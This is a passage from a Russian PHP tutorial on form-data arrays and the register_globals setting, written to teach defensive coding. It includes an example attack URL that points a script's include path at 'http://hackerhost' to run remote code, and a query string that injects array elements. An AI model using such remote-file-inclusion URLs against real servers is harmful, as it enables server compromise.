Если пользователь выберет флажок, эта пара также будет послана, но сразу же после нее последует пара known [язык] =1, которая «перекроет» предыдущее значение:

Если бы не были включены скрытые поля в форму, сценарий печатал бы только сообщения о тех языках, которые «знает пользователь», пропуская языки, ему «неизвестные». В рассмотренном случае сценарий реагирует и на сброшенные флажки.

Такой способ немного увеличивает объем данных, передаваемых методом post, за счет тех самых пар, которые генерируются скрытыми полями. Впрочем, в реальной жизни это «увеличение» практически незаметно (особенно для POST-форм).

2.8. Диагностика создаваемых массивов

Напомним, какие массивы создает РНР, когда обрабатывает данные, пришедшие из формы:

? $_GET -- содержит GET-параметры, пришедшие скрипту через переменную окружения QUERY_STRING. Например, $_GET [' login'];

? $_post -- данные формы, пришедшие методом post;

? $_cookie -- все cookies, которые прислал браузер;

? $_REQUEST -- объединение трех перечисленных выше массивов.

Именно переменную $_REQUEST рекомендуется использовать в скриптах, потому что таким образом мы не «привязываемся» жестко к типу принимаемых данных (get или post);

? $_server -- содержит переменные окружения, переданные сервером (отсюда и название).

Может показаться, что это много. Чтобы не запутаться в переменных, рассмотрим полезный прием, помогающий при отладке сценариев: можно вывести все переменные в браузер.

Листинг dump.php. Вывод всех переменных в браузер

<! - - Выводит все глобальные переменные - ->

<pre>

<?print_r($GLOBALS)?>

</pre>

Задача данного сценария -- распечатать в браузер все глобальные переменные программы (включая описанные выше массивы) в читабельном представлении. Глобальные переменные доступны через используемый массив $GLOBALS. Встроенная функция print_r() делает все остальное.

Страница, генерируемая данным сценарием, весьма интересна. Рекомендуем поэкспериментировать с ней, передавая программе различные GET-данные (включая многомерные массивы) и подставляя ее в атрибут action различных HTML-форм.

3. КАКОЙ РЕЖИМ ВЫБРАТЬ: register_globals=off & on ?

В рассмотренных примерах каждый раз при обращении к переменным, полученным из полей формы, писали:

$_REQUEST[' … ']

Это делать необходимо из-за того, что все данные из полей формы PHP помещает в глобальный массив $_REQUEST.

В ранних версиях РНР (вплоть до РНР 4.1) существовал способ, позволяющий работать с полями формы значительно проще. По умолчанию РНР не помещал данные в $_REQUEST, а создавал обыкновенные глобальные переменные для каждого из полей формы. Например, можно было написать такой сценарий:

<!- - Вывод параметров командной строки. - ->

<?php

echo”Hello, $name!”;

?>

Запустив его с нужным параметром, например: http://localhost/hello.php?name=Виктор Сергеевич, можно увидеть корректную страницу приветствия: РНР создал глобальную переменную $name, значение которой и напечатано:

Такой режим работы называется register_globals и поддерживается в РНР по сей день. При этом в файле php.ini этот параметр находится во включенном состоянии:

Однако, начиная с PHP 4.2.0, register_globals по умолчанию выключен в файле php.ini:

Разработчики РНР поступили так по соображениям безопасности: часто скрипты, написанные в расчете на включенный register_globals, обнаруживали проблемы с защитой.

Рекомендуется писать скрипты с расчетом на выключенный register_globals.

Сценарий, корректно работающий при выключенном register_globals, будет работать и при включенном режиме. Но не наоборот.

Для повышения безопасности работы нужно сконфигурировать PHP с опцией register_globals = off. Отключив возможность внедрения отправленных пользователем переменных в PHP-код, можно уменьшить количество заражённых переменных, которые потенциальный взломщик может попытаться направить вам. Для подделки отправляемой информации понадобится дополнительное время, а ваши внутренние переменные будут эффективно изолированы от отправляемых пользователем данных.

Хотя понадобятся некоторые дополнительные усилия при работе с PHP, но преимущества от этой работы с лихвой окупят эти затраты.

3.1. Первый пример уязвимости

Для иллюстрации, как можно получить уязвимый сценарий, рассмотрим пример:

<?php

//*** здесь устанавливается переменная $root

//*** ...

// запускаем другой скрипт, который ищем в каталоге $root

include $root.»/library.php»;

?>

Если в коде, помеченном выше звездочками, переменная $root по ошибке окажется не установленной (это может случиться по разным причинам), злоумышленник сможет запустить на сервере любой код, открыв следующий адрес в браузере:

http://example.com/scnpt.pbp?root=http://hackerhost

Здесь example.com -- это машина, на которой располагается скрипт, a hackerhost -- компьютер злоумышленника, на котором также установлен Web-сервер.

Рассмотрим подробнее, что же происходит. В скрипте значение переменной $root подставляется в строку и выполняется команда:

include “http://hackerhost/library.php”;

В большинстве случаев это заставляет РНР загрузить файл library.php с удаленной машины и передать ему управление. Иными словами, записав в файл library.php на своей машине любой код, хакер может запустить его на сервере example.com.

3.2. Второй пример уязвимости

Предыдущий пример может показаться надуманным. Таким он и является: данная проблема может обнаружиться лишь в сценариях, насчитывающих несколько разных файлов, включающих друг друга. Там бывает весьма непросто уследить за глобальными переменными. Например, в известном форуме phpBB уязвимость описанного типа обнаруживалась и исправлялась несколько раз.

Более простой пример связан с массивами. Многие люди пишут в своих программах:

$artefacts['rabbit'] = “white”;

$artefacts['cat'] = “black”;

Они не задумываются над тем, что перед этим надо бы очистить массив $artefacts: считают, что он и так пуст в начале программы. Корректный же код должен выглядеть так:

$artefacts = array();

$artefacts['rabbit'] = “white”;

$artefacts['cat'] = “black”;

К чему ведет пропуск $artefacts = array(); в начале скрипта? К тому, что, передав специально подобранную командную строку, хакер может добавить в массив $artefacts произвольные данные. Например, он запустит сценарий так:

http://example.com/script.php?artefacts[reboot]=yes

При этом в программе с пропущенным обнулением массива $artefacts в него будут помещены не два, а три элемента (включая reboot=>yes). Скрипт никак на это не рассчитывает, что, в свою очередь, порождает потенциальные проблемы с безопасностью.

Если глобальные переменные не создаются, то описанные уязвимости исчезают. Во всяком случае, так решили разработчики РНР.

Всегда необходимо проверять код, чтобы гарантировать, что любые переменные, отправляемые из web-браузера, соответствующим образом будут проверены. Задавайте себе следующие вопросы:

? Будет ли данный скрипт воздействовать только на предполагаемые файлы?

? Могут ли быть обработаны необычные или нежелательные данные?

? Может ли данный скрипт быть использован несоответствующим образом?

? Может ли он быть использован в сочетании с другими скриптами негативным образом?

? Будет ли выполнен адекватный логинг для каждой транзакции?

Задав себе эти вопросы при написании скрипта, а не потом, вы предотвратите возможную переделку для повышения защищённости. Вы не гарантируете полную безопасность вашей системы, но можете значительно повысить её.

Возможно, вы захотите также предусмотреть отключение register_globals, magic_quotes или других установок, которые могут создать у вас неуверенность в проверке, источнике или значении данной переменной. Работа с PHP в режиме error_reporting(E_ALL) также может помочь, предупреждая вас о переменных, используемых до проверки или инициализации (что предотвратит операции с необычными данными).

Страницы: 1, 2, 3, 4, 5, 6, 7